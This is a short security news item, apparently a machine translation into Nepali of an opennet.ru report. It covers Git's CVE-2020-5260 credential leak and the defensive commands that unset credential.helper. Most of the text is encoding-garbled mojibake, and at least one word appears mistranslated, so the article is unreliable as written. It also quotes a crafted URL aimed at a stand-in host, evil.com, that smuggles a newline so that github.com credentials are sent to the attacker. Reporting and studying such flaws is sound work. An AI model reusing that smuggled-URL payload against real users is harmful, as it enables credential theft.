Git рдкреНрд░рдорд╛рдг рдЪреБрд╣рд╛рд╡рдЯ рдЬреЛрдЦрд┐рдо

рдкреНрд░рдХрд╛рд╢рд┐рдд рд╡рд┐рддрд░рд┐рдд рд╕реНрд░реЛрдд рдирд┐рдпрдиреНрддреНрд░рдг рдкреНрд░рдгрд╛рд▓реА Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 рд░ 2.17.4, in рдХреЛ рд╕реБрдзрд╛рд░рд╛рддреНрдордХ рд░рд┐рд▓реАрдЬрд╣рд░реВ рдЬрд╕рд▓реЗ рд╣рдЯрд╛рдпреЛ рдХрдордЬреЛрд░реА (CVE-2020-5260) рд╣реНрдпрд╛рдиреНрдбрд▓рд░ рдорд╛ "credential.helper", рдЬрд╕рд▓реЗ рдЧрд░реНрджрд╛ рдкреНрд░рдорд╛рдгрд╣рд░реВ рдЧрд▓рдд рд╣реЛрд╕реНрдЯрдорд╛ рдкрдард╛рдЗрдиреНрдЫ рдЬрдм рдПрдХ git рдХреНрд▓рд╛рдЗрдиреНрдЯрд▓реЗ рдирдпрд╛рдБ рд▓рд╛рдЗрди рдХреНрдпрд╛рд░реЗрдХреНрдЯрд░ рднрдПрдХреЛ рд╡рд┐рд╢реЗрд╖ рдврд╛рдБрдЪрд╛ рдЧрд░рд┐рдПрдХреЛ URL рдкреНрд░рдпреЛрдЧ рдЧрд░реЗрд░ рднрдгреНрдбрд╛рд░рдорд╛ рдкрд╣реБрдБрдЪ рдЧрд░реНрджрдЫред рдЖрдХреНрд░рдордгрдХрд╛рд░реА рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдиреНрддреНрд░рд┐рдд рд╕рд░реНрднрд░рдорд╛ рдкрдард╛рдЙрдирдХреЛ рд▓рд╛рдЧрд┐ рдЕрд░реНрдХреЛ рд╣реЛрд╕реНрдЯрдмрд╛рдЯ рдкреНрд░рдорд╛рдгрд╣рд░реВ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдЧрд░реНрди рднреЗрджреНрдпрддрд╛ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХрд┐рдиреНрдЫред

"https://evil.com?%0ahost=github.com/" рдЬрд╕реНрддреЛ URL рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░реНрджрд╛, host evil.com рдорд╛ рдЬрдбрд╛рди рдЧрд░реНрджрд╛ рдкреНрд░рдорд╛рдгрд┐рдХрд░рдг рд╣реНрдпрд╛рдиреНрдбрд▓рд░рд▓реЗ github.com рдХреЛ рд▓рд╛рдЧрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрдпрд╛рд░рд╛рдорд┐рдЯрд░рд╣рд░реВ рдкрд╛рд╕ рдЧрд░реНрдиреЗрдЫред рд╕рдмрдореЛрдбреНрдпреБрд▓рд╣рд░реВрдХрд╛ рд▓рд╛рдЧрд┐ URL рд╣рд░реВ рдкреНрд░рд╢реЛрдзрди рдЧрд░реНрдиреЗ рд▓рдЧрд╛рдпрдд "git рдХреНрд▓реЛрди" рдЬрд╕реНрддрд╛ рдХрд╛рд░реНрдпрд╣рд░реВ рдЧрд░реНрджрд╛ рд╕рдорд╕реНрдпрд╛ рдЙрддреНрдкрдиреНрди рд╣реБрдиреНрдЫ (рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, "git submodule update" рд▓реЗ рднрдгреНрдбрд╛рд░рдмрд╛рдЯ .gitmodules рдлрд╛рдЗрд▓рдорд╛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЧрд░рд┐рдПрдХрд╛ URL рд╣рд░реВ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдкрдорд╛ рдкреНрд░рд╢реЛрдзрди рдЧрд░реНрдиреЗрдЫ)ред рд╡рд┐рдХрд╛рд╕рдХрд░реНрддрд╛рд▓реЗ URL рдирд╣реЗрд░реА рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдХреНрд▓реЛрди рдЧрд░реНрдиреЗ рдЕрд╡рд╕реНрдерд╛рд╣рд░реВрдорд╛ рдЬреЛрдЦрд┐рдо рд╕рдмреИрднрдиреНрджрд╛ рдЦрддрд░рдирд╛рдХ рд╣реБрдиреНрдЫ, рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рд╕рдмрдореЛрдбреНрдпреБрд▓рд╣рд░реВрд╕рдБрдЧ рдХрд╛рдо рдЧрд░реНрджрд╛, рд╡рд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд╛рд░реНрдпрд╣рд░реВ рдЧрд░реНрдиреЗ рдкреНрд░рдгрд╛рд▓реАрд╣рд░реВрдорд╛, рдЙрджрд╛рд╣рд░рдгрдХрд╛ рд▓рд╛рдЧрд┐, рдкреНрдпрд╛рдХреЗрдЬ рдирд┐рд░реНрдорд╛рдг рд▓рд┐рдкрд┐рд╣рд░реВрдорд╛ред

рдирдпрд╛рдБ рд╕рдВрд╕реНрдХрд░рдгрд╣рд░реВрдорд╛ рдХрдордЬреЛрд░реАрд╣рд░реВ рд░реЛрдХреНрди рдирд┐рд╖реЗрдзрд┐рдд рдХреНрд░реЗрдбреЗрдиреНрд╕рд┐рдпрд▓ рдПрдХреНрд╕рдЪреЗрдиреНрдЬ рдкреНрд░реЛрдЯреЛрдХрд▓ рдорд╛рд░реНрдлрдд рдкреНрд░рд╕рд╛рд░рд┐рдд рдХреБрдиреИ рдкрдирд┐ рдорд╛рдирд╣рд░реВрдорд╛ рдирдпрд╛рдБ рд▓рд╛рдЗрди рдХреНрдпрд╛рд░реЗрдХреНрдЯрд░ рдкрд╛рд╕ рдЧрд░реНрджреИред рд╡рд┐рддрд░рдгрдХреЛ рд▓рд╛рдЧрд┐, рддрдкрд╛рдЗрдБ рдкреГрд╖реНрдард╣рд░реВрдорд╛ рдкреНрдпрд╛рдХреЗрдЬ рдЕрджреНрдпрд╛рд╡рдзрд┐рдХрд╣рд░реВрдХреЛ рд░рд┐рд▓реАрдЬ рдЯреНрд░реНрдпрд╛рдХ рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ Debian, Ubuntu, RHEL, SUSE/openSUSE, рдлреЗрдбреЛрд░рд╛, рдЖрд░реНрдХ, рдлреНрд░рд┐рдмрд┐рдПрд╕рдбрд┐.

рд╕рдорд╕реНрдпрд╛ рдмреНрд▓рдХ рдЧрд░реНрди рдПрдХ workaround рдХреЛ рд░реВрдкрдорд╛ рд╕рд┐рдлрд╛рд░рд┐рд╢ рдЧрд░рд┐рдПрдХреЛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рднрдгреНрдбрд╛рд░рд╣рд░реВ рдкрд╣реБрдБрдЪ рдЧрд░реНрджрд╛ credential.helper рдкреНрд░рдпреЛрдЧ рдирдЧрд░реНрдиреБрд╣реЛрд╕реН рд░ рдЕрдирдЪреЗрдХ рд░рд┐рдкреЛрдЬрд┐рдЯрд░реАрд╣рд░реВрд╕рдБрдЧ "--recurse-submodules" рдореЛрдбрдорд╛ "git clone" рдкреНрд░рдпреЛрдЧ рдирдЧрд░реНрдиреБрд╣реЛрд╕реНред credential.helper рд╣реНрдпрд╛рдиреНрдбрд▓рд░рд▓рд╛рдИ рдкреВрд░реНрдг рд░реВрдкрдорд╛ рдЕрд╕рдХреНрд╖рдо рдкрд╛рд░реНрди, рдЬрд╕рд▓реЗ рдЧрд░реНрдЫ рд╕рдВрд░рдХреНрд╖рдг рд░ рдкрд╛рд╕рд╡рд░реНрдбрд╣рд░реВ рдкреБрди: рдкреНрд░рд╛рдкреНрдд рдЧрд░реНрджреИ kesha, рд╕рдВрд░рдХреНрд╖рд┐рдд рднрдгреНрдбрд╛рд░рд╣рд░реВ рд╡рд╛ рдкрд╛рд╕рд╡рд░реНрдб рд╕рд╣рд┐рддрдХреЛ рдлрд╛рдЗрд▓, рддрдкрд╛рдЗрдБ рдЖрджреЗрд╢рд╣рд░реВ рдкреНрд░рдпреЛрдЧ рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫ:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

рд╕реНрд░реЛрдд: opennet.ru

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди